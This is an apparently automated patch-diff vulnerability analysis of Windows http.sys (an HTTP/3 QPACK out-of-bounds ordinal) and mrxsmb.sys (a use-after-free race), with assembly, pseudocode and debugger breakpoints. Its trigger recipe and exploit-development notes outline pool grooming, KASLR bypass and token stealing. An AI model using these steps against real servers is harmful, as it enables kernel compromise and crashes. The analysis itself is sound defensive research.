The two builds of UlCaptureWideString are functionally equivalent. Both zero the two output parameters, and when the length is non-zero, both allocate via ExAllocatePool3(66, len, ...), then UlProbeWideString / memmove / store-to-output on success, or set status 0xC0000096 on allocation failure. There is no deferred-free variable, no ExFreePoolWithTag, and no cleanup-on-exit path in either build. The differences are a WPP trace GUID update and codegen (the constant 1 passed to ExAllocatePool3 is materialized through a stack slot in the patched build). This function makes no security-relevant change.

Finding 4 — `UxpTpAllocateTransmitPacket` (No Security-Relevant Change)

Attribute	Detail
Severity	Informational
Class	None
Function	`UxpTpAllocateTransmitPacket`

Both builds clear the whole transmit packet with memset(pkt, 0, 0x150) immediately after allocation, which already zeroes the fields at +0x120, +0x130, and +0x140. The unpatched build additionally re-zeroes those three fields inside an if (UxKirSeEndConnectionStats != 0) block; the patched build drops that flag test and re-zeroes them unconditionally. Because the earlier memset covers the same offsets in both builds, the fields are zero on every path regardless of the flag — the removed block was redundant, and no uninitialized memory is exposed. The refcount debug check reads if (UxDebugCheckRefcount != 0 && v <= -1) UlBugCheckEx(...) in both builds; its logical operator is unchanged.

Finding 5 — `UlHttpAttachConnection` (No Security-Relevant Change)

Attribute	Detail
Severity	Informational
Class	None
Function	`UlHttpAttachConnection`

The connection object is cleared with memset(conn, 0, 0x4A0) right after allocation in both builds, which zeroes the fields at +0x100, +0x110, +0x120, and +0x130. The unpatched build re-zeroes those fields inside an if (UxKirSeEndConnectionStats != 0) block; the patched build removes the flag test and zeroes them inline unconditionally. Since the memset already covers those offsets in both builds, the fields are initialized on every path and no uninitialized data reaches UlpEventRequestConnectionStats or ETW. This is a dead-code cleanup, not a memory-initialization fix.

3. Pseudocode Diff

`QkIsOrdinalUseable` — the primary vulnerability

Offsets: +0x1FE8/+0x1FEC = state counters, +0x48/+0x2008 = pre-filter limits, +0x2010 = arg2 bound, +0x2018 = non-arg2 bound, +0x2020 = cached result pointer, +0x2030 = max_entries, +0x2038 = insert_count.

// ============================================================
// OLD routine, selected when UxKirHttpBugFix25Q2 == 0
// (this is the body of QkIsOrdinalUseable at 0x14013CA40)
// ============================================================
BOOL QkIsOrdinalUseable_OLD(QpackCtx *ctx, BOOL isArg2Path, uint64_t ordinal)
{
    // Reject filter: only these two cases return FALSE outright.
    if ((ctx->f_1FE8 == ctx->f_1FEC && ordinal > 0x62)
        || (!isArg2Path && ordinal > 0x62
            && ordinal <= ctx->f_48 && ordinal <= ctx->f_2008))
        return FALSE;

    // Shared table path for BOTH arg2 and non-arg2:
    if (ctx->insert_count < ctx->max_entries)   // [+0x2038] < [+0x2030]
        return TRUE;                            // table not full -> usable, NO bound check

    ResultEntry *result = ctx->result_ptr;      // [+0x2020]
    if (result && result->f_18 != 0)
        return TRUE;                            // result marker set -> usable, NO bound check

    // Only when table is full AND no result marker:
    if (isArg2Path)  return (ordinal <= ctx->bound_2010);   // [+0x2010]
    else             return (ordinal <= ctx->bound_2018);   // [+0x2018]
}

// ============================================================
// Corrected routine (QkIsOrdinalUseableNew at 0x14013CAD0;
// made unconditional in the patched build)
// ============================================================
BOOL QkIsOrdinalUseable_NEW(QpackCtx *ctx, BOOL isArg2Path, uint64_t ordinal)
{
    if (ordinal <= 0x62)                 return TRUE;   // static table
    if (ctx->f_1FE8 == ctx->f_1FEC)      return FALSE;

    if (!isArg2Path) {                                  // NON-ARG2: always bound-checked
        if (ordinal > ctx->f_48 || ordinal > ctx->f_2008)
            return (ordinal <= ctx->bound_2018);        // [+0x2018] ALWAYS checked
        return FALSE;
    }

    // ARG2 path: unchanged relative to OLD
    if (ctx->insert_count < ctx->max_entries)  return TRUE;
    ResultEntry *result = ctx->result_ptr;
    if (result && result->f_18 != 0)           return TRUE;
    return (ordinal <= ctx->bound_2010);                // [+0x2010]
}

The difference is confined to the non-arg2 path. In the OLD routine a non-arg2 ordinal falls into the shared table path and is returned "usable" whenever insert_count < max_entries or the result marker is set, so an ordinal exceeding +0x2018 is accepted while the table has spare capacity. The NEW routine gives the non-arg2 case its own branch that always evaluates ordinal <= *(ctx+0x2018). The arg2 path (+0x2010, plus the not-full / result-marker shortcuts) is byte-for-byte identical between the two routines.

4. Assembly Analysis

`QkIsOrdinalUseable` — Unpatched (`0x14013CA40`)

000000014013CA40  sub     rsp, 28h
000000014013CA44  cmp     cs:UxKirHttpBugFix25Q2, 0
000000014013CA4B  jz      short loc_14013CA54      ; flag == 0: run OLD routine below
000000014013CA4D  call    QkIsOrdinalUseableNew    ; flag != 0: run corrected routine
000000014013CA52  jmp     short loc_14013CAC2
; ---- OLD routine ----
loc_14013CA54:
000000014013CA54  mov     eax, [rcx+1FECh]
000000014013CA5A  cmp     [rcx+1FE8h], eax
000000014013CA60  jnz     short loc_14013CA68
000000014013CA62  cmp     r8, 62h                  ; f_1FE8 == f_1FEC path
000000014013CA66  ja      short loc_14013CA81      ; ordinal > 0x62 -> return 0
loc_14013CA68:
000000014013CA68  test    dl, dl                   ; isArg2Path
000000014013CA6A  jnz     short loc_14013CA85      ; arg2 -> shared table path
000000014013CA6C  cmp     r8, 62h
000000014013CA70  jbe     short loc_14013CA85      ; non-arg2, ordinal <= 0x62 -> table path
000000014013CA72  cmp     r8, [rcx+48h]
000000014013CA76  ja      short loc_14013CA85      ; ordinal > f_48 -> table path
000000014013CA78  cmp     r8, [rcx+2008h]
000000014013CA7F  ja      short loc_14013CA85      ; ordinal > f_2008 -> table path
loc_14013CA81:
000000014013CA81  xor     al, al                   ; return 0
000000014013CA83  jmp     short loc_14013CAC2
; ---- shared table path (BOTH arg2 and non-arg2) ----
loc_14013CA85:
000000014013CA85  mov     rax, [rcx+2030h]         ; max_entries
000000014013CA8C  cmp     [rcx+2038h], rax         ; insert_count < max_entries?
000000014013CA93  jb      short loc_14013CAC0      ; table NOT full -> mov al,1 (NO bound check)
000000014013CA95  mov     rax, [rcx+2020h]         ; result pointer
000000014013CA9C  test    rax, rax
000000014013CA9F  jz      short loc_14013CAA7
000000014013CAA1  cmp     dword ptr [rax+18h], 0   ; result->0x18
000000014013CAA5  jnz     short loc_14013CAC0      ; marker set -> mov al,1 (NO bound check)
loc_14013CAA7:                                     ; full AND no marker: bound check happens here
000000014013CAA7  test    dl, dl
000000014013CAA9  jz      short loc_14013CAB7
000000014013CAAB  cmp     r8, [rcx+2010h]          ; arg2 bound
000000014013CAB2  setbe   al
000000014013CAB5  jmp     short loc_14013CAC2
loc_14013CAB7:
000000014013CAB7  cmp     r8, [rcx+2018h]          ; non-arg2 bound
000000014013CABE  jmp     short loc_14013CAB2
loc_14013CAC0:
000000014013CAC0  mov     al, 1                    ; return "usable"
loc_14013CAC2:
000000014013CAC2  add     rsp, 28h
000000014013CAC6  retn

Key observations:

mov al, 1 at 0x14013CAC0 is reached from two edges: jb at 0x14013CA93 (table not full) and jnz at 0x14013CAA5 (result marker set). On both, the ordinal in r8 is returned "usable" without any cmp against +0x2010/+0x2018.
Because arg2 and non-arg2 share this block, the +0x2018 bound check at 0x14013CAB7 is only reached when the table is full and the result marker is clear. For the non-arg2 path this is the missing check.
The +0x2010 (arg2) comparison at 0x14013CAAB and the not-full / result-marker shortcuts also exist verbatim in the corrected routine, so the arg2 behavior is unchanged by the patch.

Corrected routine (`QkIsOrdinalUseableNew`, `0x14013CAD0` → made unconditional in patched)

The corrected routine tests ordinal <= 0x62 and f_1FE8 == f_1FEC first, then splits on arg2. The non-arg2 branch performs the +0x48 / +0x2008 pre-filter and then always executes cmp r8, [rcx+2018h]; setbe al — there is no path that returns "usable" for a non-arg2 ordinal without this comparison. The arg2 branch keeps the not-full / result-marker shortcuts and the +0x2010 comparison. The patched QkIsOrdinalUseable (0x14013C4E0) drops the UxKirHttpBugFix25Q2 test and is this corrected routine inline.

5. Trigger Conditions

This path is only reachable when the KIR flag UxKirHttpBugFix25Q2 is 0.

Open an HTTP/3 (QUIC) connection to a target running the Windows HTTP Server API backed by http.sys (e.g., IIS with HTTP/3 enabled, or any application using HttpReceiveHttpRequest over HTTP/3).
Keep the QPACK dynamic table non-full, or prime a cached result marker. The bypass fires on the non-arg2 lookup path when insert_count (ctx+0x2038) < max_entries (ctx+0x2030), i.e. the table still has free capacity, or alternatively when the cached result pointer at ctx+0x2020 is non-null with result->0x18 != 0. Either condition makes the routine skip the +0x2018 bound check. (Filling the table to capacity with the marker clear is the one state that does enforce the check, so it is not the trigger.)
Craft a header block referencing an out-of-bounds ordinal on the non-arg2 lookup. Reference a dynamic-table entry with an ordinal value N where:
N > 0x62 (above the static-table range)
N > *(ctx + 0x48) or N > *(ctx + 0x2008) (so the routine reaches the shared table path rather than the outright-reject filter)
N > *(ctx + 0x2018) (exceeds the valid non-arg2 dynamic-table bound that the corrected routine would enforce)
No ordering constraint. The insertions and the OOB reference can be in the same or different QUIC streams within the connection.
Observable effect: the OOB ordinal is returned "usable" and used as an index into the QPACK dynamic table entry array. Depending on the table's backing allocation, this produces either:
A kernel pool OOB read (information disclosure or fault if unmapped).
A kernel pool OOB write if the ordinal flows into a table-update path.
A BSOD with PAGE_FAULT_IN_NONPAGED_AREA or INVALID_DATA_ACCESS if the indexed address is unmapped.

6. Exploit Primitive & Development Notes

Primitive. The vulnerability provides a controlled out-of-bounds access on a kernel-pool (NonPagedPool) array of QPACK dynamic table entries. The attacker controls: - The ordinal value (the array index displacement). - The QPACK context state (by controlling insertions to the dynamic table).

The displacement is ordinal - valid_max, multiplied by the size of a dynamic-table entry struct. Since the ordinal is a 64-bit value and only bounded by the attacker, the displacement is essentially arbitrary (limited only by kernel address space and pool allocation layout).

Turning it into a full exploit:

Step	Requirement
Heap Feng Shui	Arrange kernel pool objects around the QPACK dynamic table allocation so that a controlled OOB index lands on a known object type (e.g., pipe attributes, named-pipe buffers, or token objects).
Info leak / KASLR bypass	An OOB read primitive can leak kernel pointers from adjacent pool objects. Send a QPACK request that triggers the OOB read and observe the response or ETW data for leaked kernel addresses.
Privilege escalation	Combine with an OOB write to corrupt an adjacent object's function pointer or token pointer. The classic approach: overwrite a `PIPE_ATTRIBUTE`'s `ValueLength` or a worker-item function pointer to redirect execution.
Code execution	If SMEP is active, redirect to a ROP chain or a signed kernel function. Use a stack pivot gadget. If HVCI is active, avoid writable+executable memory; use data-only attacks (token stealing via `SE_TOKEN_PRIVILEGES` manipulation).

Mitigation impact:

Mitigation	Impact
KASLR	Must be bypassed first via info leak. The OOB read primitive is suitable for this.
SMEP / SMAP	Affects code-execution strategies but not the OOB primitive itself. Data-only attacks bypass both.
CFG (Control Flow Guard)	Limits indirect call targets. Use non-CFG-protected call sites or data-only corruption.
HVCI	Prevents writable+executable kernel pages. Token-stealing data-only attacks are unaffected.
Pool integrity checks (Win 10+)	Corrupted pool headers trigger BugChecks. The OOB access itself may corrupt headers; use precise offsets or target page-aligned objects.

7. Debugger PoC Playbook

Target: `QkIsOrdinalUseable` OOB Access

Module base: Load http.sys symbols or use lm http to get the base.

Breakpoints

; Break at the flag check — confirms which path is taken
bp http!QkIsOrdinalUseable+0x8

; Break at the "return usable" store reached without a non-arg2 bound check
bp http!QkIsOrdinalUseable+0x80

; Break at the non-arg2 bound check (only reached when table full and marker clear)
bp http!QkIsOrdinalUseable+0x77

; Break at the callers to see attacker-controlled ordinals
bp http!QkEncodePairControl
bp http!QkEncodePairData

If symbols are unavailable, compute offsets from the module base. The function is at RVA 0x13CA40 (i.e., bp http+0x13ca40).

What to Inspect at Each Breakpoint

At QkIsOrdinalUseable+0x4 (flag check):

; rcx = QPACK context (arg1)
; dl  = isArg2Path flag (arg2) — the non-arg2 (dl == 0) case is the vulnerable one
; r8  = ordinal (arg3) ← ATTACKER-INFLUENCED — this is the value to watch

r rcx, r8, dl                    ; dump context, ordinal, and path flag

; Check the KIR flag value
db http!UxKirHttpBugFix25Q2 l1   ; 0x00 selects the OLD routine

; Check table state in the context
?? ((unsigned __int64*)@rcx)[0x406]   ; [+0x2030] = max_entries
?? ((unsigned __int64*)@rcx)[0x407]   ; [+0x2038] = insert_count (must be < max to bypass)

At QkIsOrdinalUseable+0x80 (mov al, 1):

; If dl == 0 and r8 > bound_2018 here, the non-arg2 bypass has fired.
r r8, dl                          ; the OOB ordinal value and path flag

; Verify the bound that SHOULD have been checked on the non-arg2 path:
?? ((unsigned __int64*)@rcx)[0x403]   ; [+0x2018] = valid max ordinal (non-arg2 path)
?? ((unsigned __int64*)@rcx)[0x402]   ; [+0x2010] = valid max ordinal (arg2 path)

; Distinguish which edge reached here:
;   jb  at +0x53 -> insert_count < max_entries (table not full)
;   jnz at +0x65 -> result->0x18 != 0 (marker set)
?? ((unsigned __int64*)@rcx)[0x407]   ; insert_count
?? ((unsigned __int64*)@rcx)[0x406]   ; max_entries

At QkEncodePairControl / QkEncodePairData (callers):

; r8 or r9 (depending on calling convention for 4th arg) holds the ordinal
; from the QPACK header block. Trace the ordinal value to confirm it matches
; the attacker-supplied header field.

; Dump the raw QPACK header block from the IRP if available:
; rcx = context, follow the IRP chain to find the request buffer

Key Instructions and Offsets

Offset (RVA)	Instruction	Significance
`+0x04`	`cmp cs:UxKirHttpBugFix25Q2, 0`	KIR flag check; `0` selects the OLD routine
`+0x0B`	`jz loc_14013CA54`	Enter OLD routine when flag is 0
`+0x0D`	`call QkIsOrdinalUseableNew`	Corrected routine, taken only when flag != 0
`+0x4C`	`cmp [rcx+0x2038], rax`	Table-full check; `jb` (+0x53) returns usable, skipping the bound check
`+0x61`	`cmp dword [rax+0x18], 0`	Result-marker test; `jnz` (+0x65) returns usable, skipping the bound check
`+0x6B`	`cmp r8, [rcx+0x2010]`	arg2 bound check (full + no marker) — unchanged by the patch
`+0x77`	`cmp r8, [rcx+0x2018]`	non-arg2 bound check — the check the OLD routine skips on the not-full / marker edges
`+0x80`	`mov al, 1`	"usable" return reached without a non-arg2 bound check

Trigger Setup from User Mode

1. Open a UDP socket and establish a QUIC connection to the target on port 443
   (or whichever port http.sys is listening on for HTTP/3).

2. Complete the QUIC handshake and HTTP/3 control stream setup.
   - Send SETTINGS frame with a QPACK max table capacity > 0.
   - Insert a small number of entries so the dynamic table is populated but
     NOT full (insert_count < max_entries), or alternatively drive at least
     one lookup so the cached result entry at ctx+0x2020 has result->0x18 != 0.
     Either state makes the OLD routine skip the non-arg2 bound check.

3. Send a HEADERS frame on a request stream with a QPACK-encoded header block
   that references a dynamic table ordinal = valid_2018_bound + DELTA on the
   non-arg2 lookup, where DELTA is chosen so the resulting array index points
   to a pool object you want to read/corrupt.

4. Monitor the kernel debugger for:
   - Breakpoint hit at +0x80 with dl == 0 (non-arg2 usable, no bound check)
   - r8 value exceeding the bound at [+0x2018]
   - Subsequent fault at the OOB access in QkSearchTableByNameValue or
     QkUpdateLargestReference (access violation, BugCheck 0x50 or 0xD1)

Expected Observations

Observation	Meaning
Breakpoint hit at `+0x04` then `+0x80` with `dl == 0`	Non-arg2 bypass active (flag 0, OOB ordinal accepted)
`r8` >> `*(rcx+0x2018)`	Ordinal exceeds the valid non-arg2 bound
`BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)`	OOB index landed on unmapped memory
`BugCheck 0xD1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL)`	OOB access in interrupt context
Corrupted pool header → `BugCheck 0x19 (BAD_POOL_HEADER)`	OOB write corrupted adjacent allocation's metadata

Struct/Offset Reference

QpackCtx (rcx in QkIsOrdinalUseable):
  +0x0048  field_48             — pre-filter limit (routes non-arg2 to the table path)
  +0x2008  field_2008           — pre-filter limit (routes non-arg2 to the table path)
  +0x2010  bound_arg2           — max valid ordinal for arg2 path (check unchanged by patch)
  +0x2018  bound_non_arg2       — max valid ordinal for non-arg2 path (check the OLD routine skips)
  +0x2020  result_ptr           — cached lookup result (ResultEntry*)
  +0x2030  max_entries          — dynamic table capacity
  +0x2038  insert_count         — current number of inserted entries

ResultEntry (pointed to by ctx+0x2020):
  +0x18    marker               — non-zero is one of the two edges that skips the bound check

Not-full / marker shortcut:
  insert_count < max_entries  OR  result->0x18 != 0  → OLD routine returns usable

Static table boundary:
  0x62                          — ordinals ≤ 0x62 are static table entries

8. Changed Functions — Full Triage

Security-Relevant Changes

Function	Similarity	Change Type	Note
`QkIsOrdinalUseable`	0.772	Security	Primary change. Removed the `UxKirHttpBugFix25Q2` gate; the corrected routine is now unconditional. It always bound-checks a non-arg2 ordinal against `+0x2018`, closing the OLD routine's skip on the not-full / result-marker edges.
`UxStartEnvironmentModule`	0.961	Security (root cause)	Removes initialization of `UxKirHttpBugFix25Q2` and `UxKirSeEndConnectionStats`. With the flags gone, the per-function branches that selected the OLD `QkIsOrdinalUseable` routine (and the redundant stats re-zeroing) are removed.

Reviewed — No Security-Relevant Change

Function	Similarity	Note
`sub_1400D2029`	0.851	Instruction offset inside `UlCaptureWideString`; string-capture logic identical between builds. Differences are a WPP trace GUID and codegen. No pool free added.
`UlCaptureWideString`	0.801	Functionally equivalent in both builds; no deferred-free / `ExFreePoolWithTag` exists in either. Only a WPP trace GUID and codegen differ.
`UxpTpAllocateTransmitPacket`	0.980	Fields `+0x120`/`+0x130`/`+0x140` are zeroed by the allocation-time `memset(pkt,0,0x150)` in both builds; the removed `UxKirSeEndConnectionStats`-gated re-zero was redundant. The refcount debug check uses `&&` in both builds.
`UlHttpAttachConnection`	0.985	Fields `+0x100`/`+0x110`/`+0x120`/`+0x130` are zeroed by `memset(conn,0,0x4A0)` in both builds; the removed flag-gated re-zero was redundant. No uninitialized data is exposed.

Behavioral Changes (Non-Security)

Function	Similarity	Note
`sub_1400D5439`	0.873	Simplified redundant double-check; removed WPP trace variable.
`sub_140133E9F`	0.873	Same simplification pattern.
`UxpTpMdlSendCompleteWorker`	0.344	Major refactor: inlined `UxpTpFreeChunkTracker` teardown into success path; added `__security_cookie` stack guard; stack frame grew from `0x20` to `0xB8`.
`UxpTpFreeChunkTracker`	0.669	Extracted MDL chain freeing into `UxFreeMdlChain()` helper; added explicit NULL-setting after frees. Now only called from error paths.
`UxpTpEnqueueTransmitPacket`	0.769	Extracted MDL byte counting into `UxGetMdlChainByteCountEx()`; control-flow restructured to `while(true)` loop.
`UxTpCleanupTransmitQueue`	0.877	Part of transmit packet lifecycle refactor cluster.
`UxpTpDequeueTransmitPacket`	0.866	Part of transmit packet lifecycle refactor cluster.

Cosmetic / Feature-Flag Dead-Code Removal

The following functions had UxKirHttpBugFix25Q2 or UxKirSeEndConnectionStats runtime branches removed. In every case, both branches contained identical or equivalent logic; the patch simply removes the conditional and keeps the new-path code. No behavioral change:

UxpTpBufferSendCompleteWorker (0.363) — removed UxKirSeEndConnectionStats branch
UlpGenerateAuthHeaders (0.777) — removed UxKirHttpBugFix25Q2 duplicated bit-mapping
UlpGenerateAuthHeadersOld (0.769) — same pattern
UlpComputeAuthHeaderSize (0.847) — same pattern
UlpComputeAuthHeaderSizeOld (0.847) — same pattern
UlpParseAuthHeader (0.891) — same pattern
UlVerifyInitializedAuthSchemes (0.838) — same pattern
UlVerifyAuthConfigOld (0.897) — same pattern
UlEventRequestDataTransmissionStats (0.891) — removed UxKirSeEndConnectionStats from IRQL check
UlpEventRequestConnectionStats (0.968) — removed UxKirSeEndConnectionStats gate
UlEgressDisconnectCompletion (0.935) — removed UxKirSeEndConnectionStats branch
UxpTpFreeTransmitPacket (0.973) — removed UxKirSeEndConnectionStats branch
UlCopyServiceBindings (0.958) — register/stack-offset renaming
UlCopyServiceBindings$filt$0 (0.989) — minor offset adjustments
UlEventDataTransmissionStats (0.991) — WPP trace GUID change
WPP_SF_lllDli (0.696) — WPP tracing GUID update

9. Unmatched Functions

No functions were added or removed (unmatched_unpatched: 0, unmatched_patched: 0). All changes are in-place modifications to existing functions. The corrected validation routine (QkIsOrdinalUseableNew) already existed in the unpatched binary and was reached whenever UxKirHttpBugFix25Q2 was non-zero; the patch makes it the only path.

10. Confidence & Caveats

Confidence: High that the validation routines differ as described; Medium for the full call chain and default reachability.

Rationale for high confidence on the code difference: - The unpatched QkIsOrdinalUseable (0x14013CA40) branches on UxKirHttpBugFix25Q2; the flag-0 body merges arg2 and non-arg2 handling and returns "usable" on the not-full and result-marker edges without a non-arg2 bound check. - The corrected routine QkIsOrdinalUseableNew (0x14013CAD0) gives the non-arg2 case its own branch that always compares against +0x2018. The patched QkIsOrdinalUseable (0x14013C4E0) is this corrected routine with the flag test removed. - UxStartEnvironmentModule no longer initializes UxKirHttpBugFix25Q2 in the patched build, and the flag has no remaining references there.

Assumptions that need manual verification:

KIR default state. UxKirHttpBugFix25Q2 is a Known Issue Rollback flag set in UxStartEnvironmentModule from Feature_HttpBugFix25Q2__private_IsEnabledDeviceUsageNoInline(). Whether the OLD (flag-0) routine is active in a given deployment depends on the feature's default and any pushed rollback, which are not determinable from the binary alone. Read http!UxKirHttpBugFix25Q2 at runtime to confirm which routine is live.
Call chain depth. QkEncodePairControl and QkEncodePairData are callers, and the recursive self-call QkIsOrdinalUseable(ctx, 0, ordinal) exercises the non-arg2 path; the full path from the QUIC receive callback through the HTTP/3 framing layer should be confirmed with cross-references or a stack trace.
Consumer of the "usable" result. Confirm that an ordinal accepted by the non-arg2 path is subsequently used as an index/pointer-arithmetic base in the dynamic-table lookup (e.g. QkLookupElementFromOrdinal / QkSearchTableByNameValue) so that acceptance of an out-of-range ordinal yields an actual OOB access.
Pool layout exploitability. Practical exploitability depends on the kernel pool layout at access time; use !pool, !poolfind, and special pool to determine adjacent objects.
HTTP/3 availability. The target must have HTTP/3 enabled and reachable (Windows Server 2022+/Windows 11+ with QUIC and an HTTP/3-registered application).

What a researcher should do first: - Attach a kernel debugger, break on http!QkIsOrdinalUseable, and read UxKirHttpBugFix25Q2 to confirm the OLD routine is live. - Send a benign HTTP/3 request and confirm the breakpoint is hit. - With the table non-full (or the result marker primed), send an OOB non-arg2 ordinal; observe whether +0x80 is reached with dl == 0 and r8 exceeding +0x2018.

mrxsmb.sys — Use-after-free read of VNetRoot context in tree-connect completion (CWE-416), mitigated behind a feature flag

2026-07-03T00:00:00-07:00

1. Overview

Unpatched Binary ID: mrxsmb_unpatched.sys
Patched Binary ID: mrxsmb_patched.sys
Overall Similarity: 0.9912
Diff Statistics: One function has a security-relevant behavioral change (SmbCeCompleteVNetRootConstruction). All other differences between the two builds are WPP trace-GUID renaming, ETW/WPP trace-id renumbering, and decompiler variable-naming noise (no logic change). Two new WIL feature-staging helpers are present in the patched build (Feature_1116195130__private_IsEnabledDeviceUsageNoInline, Feature_1116195130__private_IsEnabledFallback).
Verdict: The patched build adds a mitigation for a use-after-free read (CWE-416) in the SMB VNetRoot construction-completion handler SmbCeCompleteVNetRootConstruction. In the tree-connect error path, the handler reads a pointer field from the VNetRoot context object after dropping its own reference to that object, and passes the value to RxPostToWorkerThread. Dropping the last reference queues an asynchronous teardown of the object, so the later read is a use-after-free only when that teardown races ahead and frees the object first. The mitigation pre-captures the pointer at function entry, but it is gated behind the WIL feature flag Feature_1116195130__private_IsEnabledDeviceUsageNoInline and the original (vulnerable) re-read is retained on the disabled branch. This is a staged rollout: when the feature is off, the patched code behaves exactly like the unpatched code.

2. Vulnerability Summary

Severity: Medium
Vulnerability Class: Use-After-Free read (CWE-416) — race read of a freed VNetRoot context field
Affected Function: SmbCeCompleteVNetRootConstruction (unpatched @ 0x140001840, patched @ 0x14002D130)

Root Cause: SmbCeCompleteVNetRootConstruction completes construction of an SMB VNetRoot (tree-connect) object. Its first argument (rcx, kept in rbp in the unpatched build) is the VNetRoot context pointer. When the completion status is negative, or when the response ShareType field at *(config+0xBC) is not one of the recognized values, execution takes the error-cleanup path.

On that path the function calls SmbCeDereferenceVNetRootContext(rbp) at 0x14000197D, which drops one reference on the VNetRoot context. After that call the code computes lea rcx, [rbp+0x18] at 0x140001989 and, at the tail, executes mov rcx, [rcx] at 0x140001ACE to load *(rbp+0x18) (the mini-redirector device object pointer). That value is passed as the first argument to RxPostToWorkerThread at 0x140001AD6. Because rbp still points into the VNetRoot allocation, reading *(rbp+0x18) after the reference has been dropped is a use-after-free read.

The free is not synchronous. SmbCeDereferenceVNetRootContext @ 0x140001C10 decrements the reference count at *(context+0x8); only when it reaches zero does it unlink the object and post SmbCepTearDownVNetRootContext to a worker thread via RxPostToWorkerThread (at 0x140001D48). The actual free happens in that deferred teardown. Therefore the read at *(rbp+0x18) is a use-after-free only if the teardown worker runs and frees the object during the short window before the tail read executes. It is a race, not a deterministic post-free read.

Patch behavior: The patched SmbCeCompleteVNetRootConstruction calls Feature_1116195130__private_IsEnabledDeviceUsageNoInline at entry (0x14002D16B); if it returns nonzero it reads *(arg1+0x18) into a stack slot (0x14002D174/0x14002D178) before any reference is dropped. At the tail it calls the feature check again (0x14002D4D9); if enabled it uses the pre-captured stack value (0x14002D4FD), otherwise it re-reads *(arg1+0x18) from the object (0x14002D4F7), which is the same operation as the unpatched code. The mitigation is therefore only active when the feature is enabled.

Attacker-Reachable Entry Point & Call Chain: 1. An application accesses a UNC path (e.g. \\server\share), driving MRxSmbCreateVNetRoot @ 0x140035AB0. 2. VNetRoot construction completes and calls SmbCeCompleteVNetRootConstruction (call sites at 0x140001823 and 0x1400360AA). 3. If the completion status is negative or the ShareType is unrecognized, the error-cleanup path runs and calls SmbCeDereferenceVNetRootContext @ 0x140001C10. 4. The tail reads *(rbp+0x18) and passes it to RxPostToWorkerThread. If the deferred SmbCepTearDownVNetRootContext teardown has already freed the object, this read is a use-after-free.

3. Pseudocode Diff

The unpatched build reads the device object pointer from the VNetRoot after dropping its reference; the patched build pre-captures it under a feature flag and retains the old read on the disabled branch.

// ==========================================
// UNPATCHED: SmbCeCompleteVNetRootConstruction @ 0x140001840
// ==========================================
// rbp = arg1 (VNetRoot context), rbx = arg2 (RX context)
if (status < 0) {                       // error-cleanup path
    // inline: acquire spinlock on *(rbp+0x18), decrement ActiveVNetRoots at *(rbp+0x1b0),
    //         release spinlock, optional teardown when the count reaches zero
    SmbCeDereferenceVNetRootContext(rbp);   // drops a ref; last ref queues async teardown
    *(arg2 + 0x118) = r14;
    rcx = rbp + 0x18;                       // address into the (possibly freed) object
}
r9 = *(arg2 + 0x110);
*(arg2 + 0x11c) = r14;
rcx = *rcx;                                 // reads *(rbp+0x18) -> potential UAF read
return RxPostToWorkerThread(rcx, 0, arg2 + 0xc8, r9, ...);

// ==========================================
// PATCHED: SmbCeCompleteVNetRootConstruction @ 0x14002D130
// ==========================================
// r14 = arg1 (VNetRoot context), rsi = arg2 (RX context)
pMRxDeviceObject = 0;
if (Feature_1116195130__private_IsEnabledDeviceUsageNoInline())
    pMRxDeviceObject = *(arg1 + 0x18);      // pre-capture BEFORE any deref (mitigation ON)

// ... error-cleanup path calls the pre-existing helper then drops the ref ...
SmbCeDecrementActiveVNetRootsOnVNetRootContext(arg1, ...);
SmbCeDereferenceVNetRootContext(arg1);      // drops a ref; last ref queues async teardown

if (Feature_1116195130__private_IsEnabledDeviceUsageNoInline())
    rcx = pMRxDeviceObject;                 // mitigation ON: use pre-captured value
else
    rcx = *(arg1 + 0x18);                   // mitigation OFF: same read as unpatched
return RxPostToWorkerThread(rcx, 0, ...);

4. Assembly Analysis

Unpatched error-cleanup and return sequence (SmbCeCompleteVNetRootConstruction @ 0x140001840):

; error-cleanup path
0000000140001897  xor     r13b, r13b                         ; error path marker
00000001400018C6  mov     rdi, [rbp+18h]                     ; device object ptr (used for spinlock)
00000001400018D8  call    SmbCeAcquireSpinLock
00000001400018E2  lock xadd [rbp+1B0h], esi                  ; inline ActiveVNetRoots decrement
000000014000197A  mov     rcx, rbp
000000014000197D  call    SmbCeDereferenceVNetRootContext    ; drops a ref (async teardown on last ref)
0000000140001982  mov     [rbx+118h], r14d
0000000140001989  lea     rcx, [rbp+18h]                     ; address into possibly-freed object
000000014000198D  test    r13b, r13b
0000000140001990  jnz     loc_140001AB7
0000000140001996  jmp     loc_140001AB4

; tail / RxPostToWorkerThread dispatch
0000000140001AB4  xor     r14d, r14d
0000000140001AB7  mov     r9, [rbx+110h]
0000000140001ABE  lea     r8, [rbx+0C8h]
0000000140001AC5  mov     [rbx+11Ch], r14d
0000000140001ACC  xor     edx, edx
0000000140001ACE  mov     rcx, [rcx]                         ; reads *(rbp+0x18) -> potential UAF read
0000000140001AD6  call    cs:__imp_RxPostToWorkerThread

Deferred-free mechanism inside SmbCeDereferenceVNetRootContext @ 0x140001C10:

0000000140001C1F  mov     rdi, [rcx+18h]
0000000140001C2B  lock xadd [rcx+8], esi                     ; decrement ref count at +0x8
0000000140001C50  test    esi, esi
0000000140001C52  jnz     loc_140001D59                      ; nonzero -> return, no teardown
0000000140001D36  lea     r9, SmbCepTearDownVNetRootContext  ; last ref: post teardown
0000000140001D48  call    cs:__imp_RxPostToWorkerThread      ; teardown/free runs asynchronously

Patched entry pre-capture and tail selection (SmbCeCompleteVNetRootConstruction @ 0x14002D130):

000000014002D156  mov     [rsp+78h+pMRxDeviceObject], 0
000000014002D16B  call    Feature_1116195130__private_IsEnabledDeviceUsageNoInline
000000014002D170  test    eax, eax
000000014002D172  jz      short loc_14002D180
000000014002D174  mov     rax, [r14+18h]                     ; pre-capture *(arg1+0x18)
000000014002D178  mov     [rsp+78h+pMRxDeviceObject], rax
...
000000014002D4BA  call    SmbCeDecrementActiveVNetRootsOnVNetRootContext
000000014002D4C2  call    SmbCeDereferenceVNetRootContext
000000014002D4D9  call    Feature_1116195130__private_IsEnabledDeviceUsageNoInline
000000014002D4F3  test    eax, eax
000000014002D4F5  jnz     short loc_14002D4FD
000000014002D4F7  mov     rcx, [r14+18h]                     ; feature OFF: re-read (same as unpatched)
000000014002D4FB  jmp     short loc_14002D505
000000014002D4FD  mov     rcx, [rsp+78h+pMRxDeviceObject]    ; feature ON: use pre-captured value
000000014002D505  call    cs:__imp_RxPostToWorkerThread

